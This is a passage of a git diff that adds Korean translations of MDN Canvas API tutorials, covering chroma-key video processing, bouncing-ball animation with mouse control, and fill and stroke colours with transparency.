+<p><strong>노트:</strong> WebGL을 사용하는 2D 및 3D를 위한 <a href="/ko/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL API</a>를 확인하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#2dcontext', 'the 2D rendering context')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>Mozilla 애플리케이션은 Gecko 1.8(<a href="/ko/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>)을 시작으로 <code>&lt;canvas&gt;</code>에 대한 지원을 받았습니다. OS X Dashboard 및 Safari를 위해 Apple이 소개한 것이 캔버스 엘리먼트의 기원입니다. Internet Explorer는 9버전부터 <code>&lt;canvas&gt;</code>를 지원하며, 이전 버전의 IE에서는 Google의 <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a> 프로젝트의 스크립트를 추가하여 <code>&lt;canvas&gt;</code>에 대한 지원을 효과적으로 추가할 수 있습니다. Google Chrome 및 Opera 9 또한 <code>&lt;canvas&gt;</code>를 지원합니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html b/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html
new file mode 100644
index 0000000000..7851f86154
--- /dev/null
+++ b/files/ko/web/html/canvas/manipulating_video_using_canvas/index.html
@@ -0,0 +1,164 @@
+---
+title: 캔버스(canvas)를 이용한 비디오 조작하기
+slug: Web/HTML/Canvas/Manipulating_video_using_canvas
+tags:
+ - Canvas
+ - Video
+ - 비디오
+ - 캔버스
+translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas
+---
+<div>{{CanvasSidebar}}</div>
+
+<div class="summary">
+<p>비디오에서 다양한 시각적 효과를 보여주기 위해,<code> <a class="internal" href="/ko/docs/Web/HTML/Element/canvas" title="Ko/Canvas">캔버스</a></code>와 <code><a class="internal" href="/ko/docs/Web/HTML/Element/video" title="Ko/HTML/Element/Video">비디오</a></code>의 기능을 결합하여 실시간으로 비디오 데이터를 조작할 수 있습니다. 이 튜토리얼에서는 자바스크립트 코드로 어떻게 크로마 키잉(chroma-keying, 또한 "녹색 스크린 효과, green screen effect")을 구현할 수 있는지 보여줍니다. </p>
+</div>
+
+<p><a class="external" href="/samples/video/chroma-key/index.xhtml" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/video/chroma-key/index.xhtml">라이브 예제 보기</a></p>
+
+<h2 id="문서(document)_내용">문서(document) 내용</h2>
+
+<p>이 내용을 보여주기 위한 XHTML 문서는 아래와 같습니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;style&gt;
+ body {
+ background: black;
+ color:#CCCCCC;
+ }
+ #c2 {
+ background-image: url(foo.png);
+ background-repeat: no-repeat;
+ }
+ div {
+ float: left;
+ border :1px solid #444444;
+ padding:10px;
+ margin: 10px;
+ background:#3B3B3B;
+ }
+ &lt;/style&gt;
+ &lt;script type="text/javascript" src="main.js"&gt;&lt;/script&gt;
+ &lt;/head&gt;
+
+ &lt;body onload="processor.doLoad()"&gt;
+ &lt;div&gt;
+ &lt;video id="video" src="video.ogv" controls="true"/&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;canvas id="c1" width="160" height="96"&gt;&lt;/canvas&gt;
+ &lt;canvas id="c2" width="160" height="96"&gt;&lt;/canvas&gt;
+ &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>여기에서 중요한 요소는:</p>
+
+<ol>
+ <li>이 문서에는 ID가 c1, c2인 두 개의  <a class="internal" href="/ko/docs/Web/HTML/Element/canvas" title="Ko/Canvas"><code>캔버스</code></a>가 있습니다. 캔버스 c1은 비디오 원본의 현재 프레임을 보여주기 위해 사용되고, c2는 크로마 키잉 효과를 수행한 결과를 보여줍니다. c2에서 비디오의 녹색 배경을 대체할 정지 이미지를 미리 로드합니다.</li>
+ <li>자바스크립트 코드는 main.js에서 가져옵니다. 이 스크립트는 자바스크립트 1.8 기능을 사용했기 때문에 스크립트를 가져오는 22번째 줄에서 버전이 명시됩니다(원문: this script uses JavaScript 1.8 features, so that version is specified in line 22 when importing the script).</li>
+ <li>문서가 로드되면, processor.doLoad() 메서드가 실행됩니다.</li>
+</ol>
+
+<h2 id="자바스크립트_코드">자바스크립트 코드</h2>
+
+<p>main.js에 있는 자바스크립트 코드는 3개의 메서드로 구성됩니다.</p>
+
+<h3 id="크로마_키잉_플레이어_초기화">크로마 키잉 플레이어 초기화</h3>
+
+<p><code>doLoad()</code> 메서드는 문서가 최초에 로드될 때 호출됩니다. 이 메서드가 하는 일은 크로마 키잉 처리에서 쓰일 변수를 준비하고, 이벤트 리스너를 등록함으로써 사용자가 비디오 재생을 시작할 때 감지할 수 있도록 해줍니다. </p>
+
+<pre class="brush: js"> var processor;
+
+  processor.doLoad = function doLoad() {
+ this.video = document.getElementById('video');
+ this.c1 = document.getElementById('c1');
+ this.ctx1 = this.c1.getContext('2d');
+ this.c2 = document.getElementById('c2');
+ this.ctx2 = this.c2.getContext('2d');
+ let self = this;
+ this.video.addEventListener('play', function() {
+ self.width = self.video.videoWidth / 2;
+ self.height = self.video.videoHeight / 2;
+ self.timerCallback();
+ }, false);
+ },
+</pre>
+
+<p>이코드는 XHTML에서 중요한 요소인 비디오와 캔버스의 참조를 가져옵니다. 두 개의 캔버스에 대한 그래픽 컨텍스트의 참조도 가져옵니다. 이 참조들은 뒤에서 크로마 키잉 효과를 구현할 때 사용됩니다.</p>
+
+<p>그리고 <code>addEventListener()</code>는 비디오가 재생을 시작하기 위해 호출되기 때문에 사용자가 재생 버튼을 누를 때 알림을 받습니다. 재생이 시작되면 이 코드는 비디오의 가로, 세로를 이등분 한 값을 가져오고(크로마 키잉 효과를 수행할 때 이등분 함), <code>timerCallback()</code> 메서드를 호출하여 비디오를 보고 시각적 효과를 계산하기 시작합니다.</p>
+
+<h3 id="타이머_콜백">타이머 콜백</h3>
+
+<p>타이머 콜백은 비디오가 재생되기 시작("재생" 이벤트가 발생)할 때 호출되는데, 매 프레임마다 키잉 효과를 주기 위해 주기적으로 호출 될 수 있도록 설정해 주어야 합니다.</p>
+
+<pre class="brush: js"> processor.timerCallback = function timerCallback() {
+ if (this.video.paused || this.video.ended) {
+ return;
+ }
+ this.computeFrame();
+ let self = this;
+ setTimeout(function() {
+ self.timerCallback();
+ }, 0);
+ },
+</pre>
+
+<p>콜백에서 하는 첫 번 째 일은 비디오가 재생되고 있는지 확인하는 것인데, 만약 그렇지 않다면 콜백은 아무 일도 하지 않고 즉시 반환됩니다.</p>
+
+<p>그 후에 현재 비디오 프레임에서 크로마 키잉 효과를 주기 위한 <code>computeFrame()</code> 메서드를 호출합니다.</p>
+
+<p>콜백에서 마지막으로 하는 일은 <code>setTimeout()</code>을 호출하여 가능한 한 빨리 <code>timerCallback()</code> 메서드를 다시 호출할 수 있도록 하는 것입니다. 실제로는, 비디오 프레임 속도에 대한 기반 지식으로 호출할 수 있도록 합니다. </p>
+
+<h3 id="비디오_프레임_데이터_조작">비디오 프레임 데이터 조작</h3>
+
+<p>아래의 <code>computeFrame()</code> 메서드는 프레임 데이터를 가져와서 크로마 키잉 효과를 수행하는 역할을 합니다. </p>
+
+<pre class="brush: js"> processor.computeFrame = function computeFrame() {
+ this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+ let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    let l = frame.data.length / 4;
+
+ for (let i = 0; i &lt; l; i++) {
+ let r = frame.data[i * 4 + 0];
+ let g = frame.data[i * 4 + 1];
+ let b = frame.data[i * 4 + 2];
+ if (g &gt; 100 &amp;&amp; r &gt; 100 &amp;&amp; b &lt; 43)
+ frame.data[i * 4 + 3] = 0;
+ }
+ this.ctx2.putImageData(frame, 0, 0);
+ return;
+ }
+</pre>
+
+<p>위 과정이 계속 호출 되면, 아래와 같이 비디오 요소에 가장 최근 프레임의 비디오 데이터가 표출됩니다.</p>
+
+<p><img alt="video.png" class="default internal" src="/@api/deki/files/3282/=video.png" style="height: 192px; width: 320px;"></p>
+
+<p>2번째 줄에서, 첫 번째 캔버스의 그래픽 컨텍스트 ctx1에 비디오 프레임이 복사 되는데, 원본의 절반 크기로 프레임을 그리기 위해 이전에 저장한 가로, 세로 값으로 지정합니다. 컨텍스트의 <code>drawImage()</code> 메서드에 비디오 요소를 전달하기만 하면 현재 비디오 프레임을 그릴 수 있습니다. 결과는 아래와 같습니다: </p>
+
+<p><img alt="sourcectx.png" class="default internal" src="/@api/deki/files/3284/=sourcectx.png" style="height: 96px; width: 160px;"></p>
+
+<p>3번째 줄에서는 첫 번째 컨텍스트의 <code>getImageData()</code> 메서드를 호출해서 현재 비디오 프레임의 원시 그래픽 데이터 복사본을 가져옵니다. 이것은 조작할 수 있는 원시 32비트 픽셀 이미지 데이터를 제공합니다. 4번째 줄에서는 프레임의 이미지 데이터 전체 크기를 4로 나누어 이미지의 픽셀 수를 계산합니다.</p>
+
+<p>6번째 줄에서 시작하는 <code>for</code> 문은 프레임의 픽셀을 스캔하여, 빨간색, 녹색, 파란색 값을 추출하여 사전에 정의된 숫자와 비교합니다. 이 숫자는 <code>foo.png</code>에서 가져온 배경 이미지로 대체될 녹색 스크린 영역을 감지합니다.</p>
+
+<p>녹색 스크린이라고 간주된 매개변수 내의 프레임 이미지 데이터의 모든 픽셀은 투명해질 수 있도록 알파값이 0으로 대체됩니다. 결과적으로 최종 이미지는 100% 투명해진 녹색 스크린 영역을 갖게 되고, 13번째 줄에서 대상 컨텍스트에 고정된 배경 위로 올려져 그려집니다.</p>
+
+<p>결과 이미지는 아래와 같습니다:</p>
+
+<p><img alt="output.png" class="default internal" src="/@api/deki/files/3283/=output.png" style="height: 96px; width: 161px;"></p>
+
+<p>이 과정은 비디오가 재생될 때마다 반복되므로, 매 프레임마다 처리되어 크로마 키잉 효과가 나타나는 것입니다.</p>
+
+<p><a class="external" href="/samples/video/chroma-key/index.xhtml" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/video/chroma-key/index.xhtml">라이브 예제 보기</a></p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">오디오와 비디오 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/canvas/tutorial/advanced_animations/index.html b/files/ko/web/html/canvas/tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..1779e63b2c
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: 발전된 애니메이션
+slug: Web/HTML/Canvas/Tutorial/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p>마지막 챕터에서 우리는 몇가지 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">간단한 애니메이션들</a>을 만들었고 이제 이것들을 어떻게 움직이게 하는지 안다. 이 챕터에서 우리는 각각의 모션들을 자세히 살펴보고 애니메이션을 더 발전시키기 위해 몇가지 물리 동작을 추가할 것이다.</p>
+</div>
+
+<h2 id="공_그리기">공 그리기</h2>
+
+<p>우리는 애니메이션 공부를 위해 공을 사용할 것이다. 먼저 캔버스에 공을 그려보자. 다음 코드를 통해 준비해보자.</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>언제나처럼, 우리는 context를 먼저 그려야 한다. 공을 그리기 위해 우리는 캔버스에 그림을 그리기 위한 프로퍼티와 <code>draw()</code> 메소드를 가진 <code>ball</code> 오브젝트를 생성할 것이다.</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+ x: 100,
+ y: 100,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+ball.draw();</pre>
+
+<p>특이할 건 없다. 이공은 사실상 간단한 원이고 그리는 방법은 다음{{domxref("CanvasRenderingContext2D.arc()", "arc()")}} 메소드에서 참고할 수 있다.</p>
+
+<h2 id="속도_추가하기">속도 추가하기</h2>
+
+<p>우리한테는 이제 공이 있다. 이제 이 튜토리얼 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">마지막 챕터</a>에서 배웠던 것과 같은 기본 애니메이션을 추가할 준비가 되었다. 다시 한 번, 애니메이션 컨트롤은 {{domxref("window.requestAnimationFrame()")}}가 도와주 것이다. 공은 위치에 속도 벡터를 추가하여 움직일 수 있게 된다.  각각의 프레임에, 우리는{{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}}를 캔버스에 주어 오래된 원을 이전 프래임에서 지운다.</p>
+
+<pre class="brush: js; highlight:[8,9,24,25] notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+ x: 100,
+ y: 100,
+ vx: 5,
+ vy: 2,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+function draw() {
+ ctx.clearRect(0,0, canvas.width, canvas.height);
+ ball.draw();
+ ball.x += ball.vx;
+ ball.y += ball.vy;
+ raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+ raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+ window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="경계">경계</h2>
+
+<p>경게 충돌 테스트의 필요 없이 우리가 만든 공은 캔버스 밖으로 빠르게 빠져나갈 것입니다. 우리는 공의 <code>x</code> 와 <code>y</code> 위치가 캔버스 차원을 빠져나갔는지 체크해서 방향과 속도를 바꿔주어야 합니다. 그러기 위해서 우리는 <code>draw</code> 메소드에 다음 확인사항을 추가할 것입니다.:</p>
+
+<pre class="brush: js notranslate">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="First_demo">First demo</h3>
+
+<p>이제 동작을 확인해 봅시다. 시작하려먼 마우스를 캔버스 안으로 움직여 주세요.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+ x: 100,
+ y: 100,
+ vx: 5,
+ vy: 2,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+function draw() {
+ ctx.clearRect(0,0, canvas.width, canvas.height);
+ ball.draw();
+ ball.x += ball.vx;
+ ball.y += ball.vy;
+
+ if (ball.y + ball.vy &gt; canvas.height ||
+ ball.y + ball.vy &lt; 0) {
+ ball.vy = -ball.vy;
+ }
+ if (ball.x + ball.vx &gt; canvas.width ||
+ ball.x + ball.vx &lt; 0) {
+ ball.vx = -ball.vx;
+ }
+
+ raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+ raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+ window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="가속">가속</h2>
+
+<p>움직임을 좀 더 리얼하게 만들기 위해, 우리는 속도를 다음과 같이 줄 겁니다. 예를들어:</p>
+
+<pre class="brush: js notranslate">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p>이것은 각 프레임의 세로 속도를 줄여주어, 공이 결국 바닥에서 튀게 만듭니다.</p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+ x: 100,
+ y: 100,
+ vx: 5,
+ vy: 2,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+function draw() {
+ ctx.clearRect(0,0, canvas.width, canvas.height);
+ ball.draw();
+ ball.x += ball.vx;
+ ball.y += ball.vy;
+ ball.vy *= .99;
+ ball.vy += .25;
+
+ if (ball.y + ball.vy &gt; canvas.height ||
+ ball.y + ball.vy &lt; 0) {
+ ball.vy = -ball.vy;
+ }
+ if (ball.x + ball.vx &gt; canvas.width ||
+ ball.x + ball.vx &lt; 0) {
+ ball.vx = -ball.vx;
+ }
+
+ raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+ raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+ window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="후행_효과">후행 효과</h2>
+
+<p>지금까지 우리는 {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}메소드를 사용해서 이전 프레임을 지웠다. 만약 당신이 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}}르 사용하여 약간 투명도를 준다면, 쉽게 후행 효과(Trailing effect)를 만들 수 있을 것이다.</p>
+
+<pre class="brush: js notranslate">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+ x: 100,
+ y: 100,
+ vx: 5,
+ vy: 2,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+function draw() {
+ ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ ctx.fillRect(0, 0, canvas.width, canvas.height);
+ ball.draw();
+ ball.x += ball.vx;
+ ball.y += ball.vy;
+ ball.vy *= .99;
+ ball.vy += .25;
+
+ if (ball.y + ball.vy &gt; canvas.height ||
+ ball.y + ball.vy &lt; 0) {
+ ball.vy = -ball.vy;
+ }
+ if (ball.x + ball.vx &gt; canvas.width ||
+ ball.x + ball.vx &lt; 0) {
+ ball.vx = -ball.vx;
+ }
+
+ raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+ raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+ window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="마우스_컨트롤_추가하기">마우스 컨트롤 추가하기</h2>
+
+<p>공을 컨트롤 하기 위해, 우리는 <code><a href="/en-US/docs/Web/Reference/Events/mousemove">mousemove</a></code> 이벤트를 사용하여 마우스를 따라오게 할 것이다. <code><a href="/en-US/docs/Web/Events/click">click</a></code> 이벤트를 통해 공을 놓으면 다시 공이 튀도록 할 것이다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+ x: 100,
+ y: 100,
+ vx: 5,
+ vy: 1,
+ radius: 25,
+ color: 'blue',
+ draw: function() {
+ ctx.beginPath();
+ ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+ ctx.closePath();
+ ctx.fillStyle = this.color;
+ ctx.fill();
+ }
+};
+
+function clear() {
+ ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+ clear();
+ ball.draw();
+ ball.x += ball.vx;
+ ball.y += ball.vy;
+
+ if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+ ball.vy = -ball.vy;
+ }
+ if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+ ball.vx = -ball.vx;
+ }
+
+ raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+ if (!running) {
+ clear();
+ ball.x = e.clientX;
+ ball.y = e.clientY;
+ ball.draw();
+ }
+});
+
+canvas.addEventListener('click', function(e) {
+ if (!running) {
+ raf = window.requestAnimationFrame(draw);
+ running = true;
+ }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+ window.cancelAnimationFrame(raf);
+ running = false;
+});
+
+ball.draw();
+</pre>
+
+<p>마우스로 공을 움직이고, 클릭을 통해 놓아보자.</p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="Breakout">Breakout</h2>
+
+<p>이 짧은 챕터는 발전된 애니메이션을 만들기 위한 조금의 기술을 설명했다. 여기에 더 많은 것들이 있다! 노나 벽돌을 추가해서 이 튜토리얼을  <a href="http://en.wikipedia.org/wiki/Breakout_%28video_game%29">Breakout</a> 으로 발전시키는 건 어떨까?  <a href="/en-US/docs/Games">Game development</a>에서 게임에 관련된 글들을 찾아보자.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html b/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html
new file mode 100644
index 0000000000..df094acb71
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/applying_styles_and_colors/index.html
@@ -0,0 +1,732 @@
+---
+title: 스타일과 색 적용하기
+slug: Web/HTML/Canvas/Tutorial/Applying_styles_and_colors
+tags:
+ - HTML5
+ - 그래픽
+ - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<div class="summary">
+<p><a href="/ko/docs/Web/HTML/Canvas/Tutorial/Drawing_shapes">도형 그리기</a> 장에서는 기본 선과 채우기 스타일만 사용했습니다. 여기서 우리는 그리기를 조금 더 매력적으로 만들 수있는 캔버스 옵션을 살펴볼 것입니다. 그리기에 다른 색상, 선 스타일, 그라디언트, 패턴 및 그림자를 추가하는 방법을 배우게됩니다.</p>
+</div>
+
+<h2 id="Colors" name="Colors">색상</h2>
+
+<p>지금까지는 그리기 메소드만 살펴봤습니다. 도형에 색을 적용하고자 하면, <code>fillStyle</code>과  <code>strokeStyle</code> 두 가지 중요한 속성을 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>도형을 채우는 색을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>도형의 윤곽선 색을 설정합니다.</dd>
+</dl>
+
+<p>여기서의 <code>color</code>는 CSS의 {{cssxref("&lt;color&gt;")}}, 그라디언트 객체, 패턴 객체를 뜻합니다. 그라디언트 객체와 패턴 객체는 페이지 아래에서 설명합니다. 윤곽선과 채움 색의 초기 설정값은 검은색입니다. (CSS 색상 값 <code>#000000</code>)</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>strokeStyle</code> 또는 <code>fillStyle</code> 속성을 설정하면, 새로 설정된 값이 앞으로 그려질 도형의 기본 값이 됩니다. 각 도형에 다른 색을 적용하려면 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성을 다시 적용해야 합니다.</p>
+</div>
+
+<p>색의 올바른 값은 CSS3 사양에 나오는 {{cssxref("&lt;color&gt;")}} 값입니다. 아래에 나오는 색은 모두 한가지 색을 다르게 표현한 것입니다.</p>
+
+<pre class="brush: js">// fillStyle에 적용되는 색은 모두 '오렌지'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255, 165, 0)";
+ctx.fillStyle = "rgba(255, 165, 0, 1)";
+</pre>
+
+<h3 id="A_fillStyle_example" name="A_fillStyle_example"><code>fillStyle</code> 예제</h3>
+
+<p>이 예제에서 <code>for</code> 반복문을 두 번 사용하여 사각형 격자를 그릴 것입니다. 결과는 스크린샷과 같을 것입니다. 결과가 그리 대단한 것은 아닙니다. 각 사각형의 RGB 색상값에서 붉은색과 녹색 값만을 변수 <code>i</code>와 <code>j</code>를 사용하여 변경합니다. 파란색 채널은 고정된 값입니다. 채널 값들을 변경함으로써, 모든 종류의 팔레트를 생성할 수 있습니다. 단계를 늘리면 Photoshop에서 사용하는 색상 팔레트와 비슷한 모양을 얻을 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,6]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ for (var i = 0; i &lt; 6; i++){
+ for (var j = 0; j &lt; 6; j++){
+ ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ', ' +
+ Math.floor(255 - 42.5 * j) + ', 0)';
+ ctx.fillRect(j*25,i*25,25,25);
+ }
+ }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>결과는 아래와 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example"><code>strokeStyle</code> 예제</h3>
+
+<p>이번 예제는 위에 나온 예제와 비슷하지만, <code>strokeStyle</code> 속성을 사용하여 윤곽선의 색을 바꿉니다. 사각형 대신, 원을 그리는 <code>arc()</code> 메소드를 사용합니다.</p>
+
+<pre class="brush: js;highlight[5,6]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ for (var i = 0; i &lt; 6; i++) {
+ for (var j = 0; j &lt; 6; j++) {
+ ctx.strokeStyle = 'rgb(0, ' + Math.floor(255 - 42.5 * i) + ', ' +
+ Math.floor(255 - 42.5 * j) + ')';
+ ctx.beginPath();
+ ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
+ ctx.stroke();
+ }
+ }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>결과는 아래와 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">투명도</h2>
+
+<p>캔버스에는 불투명한 도형을 그릴 수도 있고, 반투명한 도형도 그릴 수도 있습니다. <code>globalAlpha</code> 값을 설정하거나 윤곽선 또는 채움 스타일에 반투명 색을 적용하면 됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>투명도 값이 설정되면 이후 캔버스에 그려지는 모든 도형들의 투명도가 바뀝니다. 설정하는 값은 0.0(완전히 투명)과 1.0(완전히 불투명) 사이에 있어야 하며, 초기 설정값은 1.0(완전히 투명)입니다.</dd>
+</dl>
+
